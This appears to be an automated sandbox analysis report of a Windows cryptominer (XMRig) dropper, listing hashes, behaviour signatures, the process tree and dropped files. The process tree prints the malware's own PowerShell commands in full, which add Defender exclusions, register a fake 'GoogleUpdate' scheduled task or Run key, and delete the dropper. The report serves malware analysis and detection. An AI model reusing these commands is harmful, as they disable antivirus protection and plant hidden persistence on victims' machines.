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23-01-2024 19:27

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23-01-2024 19:27

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Analysis

  • max time kernel
    40s
  • max time network
    91s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23-01-2024 19:27

General

  • Target

    grhsghsGHswgh/Be5sCbvuma2nkHDa.exe

  • Size

    2.0MB

  • MD5

    a16a669a09bf158058b83e04e69fe38e

  • SHA1

    f6c94763850d9e590d86057139e8895a7aacdeea

  • SHA256

    cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

  • SHA512

    658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

  • SSDEEP

    49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Score
10/10

Malware Config

Signatures

  • Suspicious use of NtCreateUserProcessOtherParentProcess 6 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 1 IoCs
  • Executes dropped EXE 1 IoCs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in System32 directory 2 IoCs
  • Drops file in Program Files directory 1 IoCs
  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 22 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3420
      • C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Be5sCbvuma2nkHDa.exe
        "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Be5sCbvuma2nkHDa.exe"
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Drops file in Program Files directory
        • Suspicious behavior: EnumeratesProcesses
        PID:1220
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4292
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3936
      • C:\Windows\System32\cmd.exe
        C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Be5sCbvuma2nkHDa.exe"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1928
        • C:\Windows\System32\choice.exe
          choice /C Y /N /D Y /T 3
          3⤵
            PID:2668
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:1700
          • C:\Windows\system32\schtasks.exe
            "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
            3⤵
              PID:4548
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
            2⤵
            • Drops file in System32 directory
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            PID:1300
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
            2⤵
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            PID:4372
          • C:\Windows\System32\conhost.exe
            C:\Windows\System32\conhost.exe qtdiqnkejoz
            2⤵
              PID:3524
            • C:\Windows\System32\cmd.exe
              C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
              2⤵
                PID:4440
              • C:\Windows\System32\cmd.exe
                C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
                2⤵
                  PID:1168
                • C:\Windows\System32\conhost.exe
                  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
                  2⤵
                    PID:4816
                • C:\Program Files\Google\Chrome\updater.exe
                  "C:\Program Files\Google\Chrome\updater.exe"
                  1⤵
                  • Suspicious use of NtCreateUserProcessOtherParentProcess
                  • Executes dropped EXE
                  • Suspicious behavior: EnumeratesProcesses
                  PID:1960
                • C:\Windows\System32\Wbem\WMIC.exe
                  wmic PATH Win32_VideoController GET Name, VideoProcessor
                  1⤵
                  • Detects videocard installed
                  PID:4680

                Network

                MITRE ATT&CK Matrix ATT&CK v13

                Discovery

                System Information Discovery

                1
                T1082

                Query Registry

                1
                T1012

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                • C:\Program Files\Google\Chrome\updater.exe
                  Filesize

                  1.2MB

                  MD5

                  178240ae98c7ccd8cfadec21cfa47cc8

                  SHA1

                  00f72f316a97565d1b34c611bae4f8bf8937bbbb

                  SHA256

                  8138c485e2ef055f4ecf94361953bf0bbb010c52ce92f2397f38c899ec78d0ce

                  SHA512

                  4f825ea965b56933d75f6d5d02814e8fb2fee04aa890866cf8bc7fd08d48c71e145e2fcccde01605adcbb6f048cd6a13dc34c6162f23a6ec8d00a0f50353bc61

                • C:\Program Files\Google\Chrome\updater.exe
                  Filesize

                  712KB

                  MD5

                  28acb698a5246fba96f3e47b0e50f88e

                  SHA1

                  fb772f748ce33885499276aab35ad96db8fd6fca

                  SHA256

                  cdd039fff3b08c748e72b96f4fa493df4420f6a3bf386b5407b621273a3f45e2

                  SHA512

                  d8a217c880aa5d75685c92c537a536f2d40491cb16d89c272e91d6062a2cfe825d6352fb96b23dc6601bfef9e096d39bbd49597c131329084fd070d24ba5d432

                • C:\Program Files\Google\Libs\g.log
                  Filesize

                  226B

                  MD5

                  fdba80d4081c28c65e32fff246dc46cb

                  SHA1

                  74f809dedd1fc46a3a63ac9904c80f0b817b3686

                  SHA256

                  b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398

                  SHA512

                  b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29

                • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                  Filesize

                  2KB

                  MD5

                  d85ba6ff808d9e5444a4b369f5bc2730

                  SHA1

                  31aa9d96590fff6981b315e0b391b575e4c0804a

                  SHA256

                  84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

                  SHA512

                  8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                  Filesize

                  944B

                  MD5

                  cadef9abd087803c630df65264a6c81c

                  SHA1

                  babbf3636c347c8727c35f3eef2ee643dbcc4bd2

                  SHA256

                  cce65b73cdfe9304bcd5207913e8b60fb69faa20cd3b684f2b0343b755b99438

                  SHA512

                  7278aa87124abb382d9024a645e881e7b7cf1b84e8894943b36e018dbf0399e6858392f77980b599fa5488e2e21bf757a0702fe6419417edac93b68e0c2ec085

                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                  Filesize

                  1KB

                  MD5

                  cd7bc20a2d198c263f7a230f66534fc0

                  SHA1

                  410b72bb3de1147dbfa07fb3dc765f2c3773b464

                  SHA256

                  957ba84fa4551f0ba432f1bb6a23660c39e209d96f215879bff6cf5fade743aa

                  SHA512

                  68dda51f4a3a75e6f6b20565f4911a7c1cf07aa641489777cb5774b64017883a8f9f58aa1e359b0bb1ca9a514876ac7e51579732b48b9f81eb15de6fa98c6edc

                • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gw25nqoc.4z0.ps1
                  Filesize

                  60B

                  MD5

                  d17fe0a3f47be24a6453e9ef58c94641

                  SHA1

                  6ab83620379fc69f80c0242105ddffd7d98d5d9d

                  SHA256

                  96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                  SHA512

                  5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                • C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                  Filesize

                  4KB

                  MD5

                  bdb25c22d14ec917e30faf353826c5de

                  SHA1

                  6c2feb9cea9237bc28842ebf2fea68b3bd7ad190

                  SHA256

                  e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495

                  SHA512

                  b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c

                • C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                  Filesize

                  1KB

                  MD5

                  b42c70c1dbf0d1d477ec86902db9e986

                  SHA1

                  1d1c0a670748b3d10bee8272e5d67a4fabefd31f

                  SHA256

                  8ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a

                  SHA512

                  57fb278a8b2e83d01fac2a031c90e0e2bd5e4c1a360cfa4308490eb07e1b9d265b1f28399d0f10b141a6438ba92dd5f9ce4f18530ec277fece0eb7678041cbc5

                • memory/1220-0-0x00007FF69FE70000-0x00007FF6A0081000-memory.dmp
                  Filesize

                  2.1MB

                • memory/1220-36-0x00007FF69FE70000-0x00007FF6A0081000-memory.dmp
                  Filesize

                  2.1MB

                • memory/1300-55-0x00007FFC841F0000-0x00007FFC84CB1000-memory.dmp
                  Filesize

                  10.8MB

                • memory/1300-80-0x000001CA33520000-0x000001CA3352A000-memory.dmp
                  Filesize

                  40KB

                • memory/1300-88-0x00007FFC841F0000-0x00007FFC84CB1000-memory.dmp
                  Filesize

                  10.8MB

                • memory/1300-84-0x000001CA339B0000-0x000001CA339BA000-memory.dmp
                  Filesize

                  40KB

                • memory/1300-82-0x000001CA33950000-0x000001CA33958000-memory.dmp
                  Filesize

                  32KB

                • memory/1300-81-0x000001CA33990000-0x000001CA339AA000-memory.dmp
                  Filesize

                  104KB

                • memory/1300-85-0x000001CA31380000-0x000001CA31390000-memory.dmp
                  Filesize

                  64KB

                • memory/1300-65-0x000001CA31380000-0x000001CA31390000-memory.dmp
                  Filesize

                  64KB

                • memory/1300-79-0x000001CA33970000-0x000001CA3398C000-memory.dmp
                  Filesize

                  112KB

                • memory/1300-78-0x000001CA33510000-0x000001CA3351A000-memory.dmp
                  Filesize

                  40KB

                • memory/1300-77-0x000001CA33750000-0x000001CA33805000-memory.dmp
                  Filesize

                  724KB

                • memory/1300-76-0x000001CA33730000-0x000001CA3374C000-memory.dmp
                  Filesize

                  112KB

                • memory/1300-66-0x00007FF4324E0000-0x00007FF4324F0000-memory.dmp
                  Filesize

                  64KB

                • memory/1300-83-0x000001CA33960000-0x000001CA33966000-memory.dmp
                  Filesize

                  24KB

                • memory/1700-44-0x00000298DD190000-0x00000298DD1A0000-memory.dmp
                  Filesize

                  64KB

                • memory/1700-53-0x00007FFC841F0000-0x00007FFC84CB1000-memory.dmp
                  Filesize

                  10.8MB

                • memory/1700-50-0x00000298DD190000-0x00000298DD1A0000-memory.dmp
                  Filesize

                  64KB

                • memory/1700-43-0x00000298DD190000-0x00000298DD1A0000-memory.dmp
                  Filesize

                  64KB

                • memory/1700-37-0x00007FFC841F0000-0x00007FFC84CB1000-memory.dmp
                  Filesize

                  10.8MB

                • memory/1960-54-0x00007FF6946A0000-0x00007FF6948B1000-memory.dmp
                  Filesize

                  2.1MB

                • memory/1960-123-0x00007FF6946A0000-0x00007FF6948B1000-memory.dmp
                  Filesize

                  2.1MB

                • memory/1960-103-0x00007FF6946A0000-0x00007FF6948B1000-memory.dmp
                  Filesize

                  2.1MB

                • memory/3524-127-0x00007FF6516B0000-0x00007FF6516C6000-memory.dmp
                  Filesize

                  88KB

                • memory/3936-32-0x000001D9F2310000-0x000001D9F2320000-memory.dmp
                  Filesize

                  64KB

                • memory/3936-34-0x00007FFC841F0000-0x00007FFC84CB1000-memory.dmp
                  Filesize

                  10.8MB

                • memory/3936-31-0x000001D9F2310000-0x000001D9F2320000-memory.dmp
                  Filesize

                  64KB

                • memory/3936-30-0x000001D9F2310000-0x000001D9F2320000-memory.dmp
                  Filesize

                  64KB

                • memory/3936-28-0x00007FFC841F0000-0x00007FFC84CB1000-memory.dmp
                  Filesize

                  10.8MB

                • memory/4292-1-0x00000165C03B0000-0x00000165C03D2000-memory.dmp
                  Filesize

                  136KB

                • memory/4292-11-0x00007FFC841F0000-0x00007FFC84CB1000-memory.dmp
                  Filesize

                  10.8MB

                • memory/4292-17-0x00007FFC841F0000-0x00007FFC84CB1000-memory.dmp
                  Filesize

                  10.8MB

                • memory/4292-12-0x00000165C0490000-0x00000165C04A0000-memory.dmp
                  Filesize

                  64KB

                • memory/4292-14-0x00000165C0490000-0x00000165C04A0000-memory.dmp
                  Filesize

                  64KB

                • memory/4292-13-0x00000165C0490000-0x00000165C04A0000-memory.dmp
                  Filesize

                  64KB

                • memory/4372-114-0x000001A62DA40000-0x000001A62DA50000-memory.dmp
                  Filesize

                  64KB

                • memory/4372-116-0x00007FFC841F0000-0x00007FFC84CB1000-memory.dmp
                  Filesize

                  10.8MB

                • memory/4372-113-0x00007FF4D2E90000-0x00007FF4D2EA0000-memory.dmp
                  Filesize

                  64KB

                • memory/4372-102-0x000001A62DA40000-0x000001A62DA50000-memory.dmp
                  Filesize

                  64KB

                • memory/4372-100-0x000001A62DA40000-0x000001A62DA50000-memory.dmp
                  Filesize

                  64KB

                • memory/4372-99-0x00007FFC841F0000-0x00007FFC84CB1000-memory.dmp
                  Filesize

                  10.8MB

                • memory/4816-125-0x000001A259C60000-0x000001A259C80000-memory.dmp
                  Filesize

                  128KB

                • memory/4816-124-0x00007FF699B50000-0x00007FF69A344000-memory.dmp
                  Filesize

                  8.0MB

                • memory/4816-126-0x000001A25A280000-0x000001A25A2C0000-memory.dmp
                  Filesize

                  256KB

                • memory/4816-128-0x00007FF699B50000-0x00007FF69A344000-memory.dmp
                  Filesize

                  8.0MB